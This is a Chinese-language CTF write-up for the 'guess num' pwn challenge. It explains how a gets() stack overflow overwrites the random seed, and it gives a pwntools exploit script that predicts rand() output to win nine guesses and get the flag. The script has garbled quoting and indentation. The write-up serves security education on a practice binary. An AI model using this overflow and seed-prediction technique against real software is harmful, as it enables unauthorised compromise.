攻防世界PWN
guess nun的wp
基本三步
checksec,file,执行文件
发现是个64位文件,且只有RELRO没开( 出现Permission denied报错时,用chmod去修改文件权限,就可以了)
放进IDA中,在各函数中寻找
在函数sub_C3E中找到了
再进入main函数中怎样获得flag,上网找了一下srand和rand的含义
srand函数是随机数发生器的初始化函数。
srand和rand()配合使用产生伪随机数序列。
所以要通过给srand设置为0或1,
来保证生成的随机数是相同随机数序列。
有兴趣的可以看一下这位大佬的博客
https://blog.csdn.net/linxi8693/article/details/90712828
简单看了一下函数,可以发现,只要猜中9次数字就可以运行函数,
(如果有人运气好到能连续猜中9次数字,不用做题目,运行一下程序可以直接获得flag),当然我是个非酋,就只能仔细思考一下了。
我发现可以利用gets存在栈溢出,然后查看一下V8的地址
即利用v8去覆盖seed[0],使seed[0]已知,然后不管怎么循环,都可以猜中数字,就拿到flag了(var_30才是V8的地址,而不是var_8)
0x30-0x10=32=0x20
之后就可以通过写一个for循环来使猜的数字能对得上程序中的数字
因为要使用srand和rand函数所以要用是 Linux 下的 ANSI C 函数库libc。
EXP
from pwn import *
#用python标准库中自带的ctypes模块进行python和c的混合编程
from ctypes import *
r= process(’./num’)
#与checksec一样的作用
elf = ELF(’./num’)
因为题目没有提供libc库,因此需要使用ldd查找
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = b’a’ * 0x20 + p64(1)
r.recvuntil(‘Your name:’)
r.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
r.recvuntil(‘number:’)
r.sendline(num)
r.interactive()
得到flag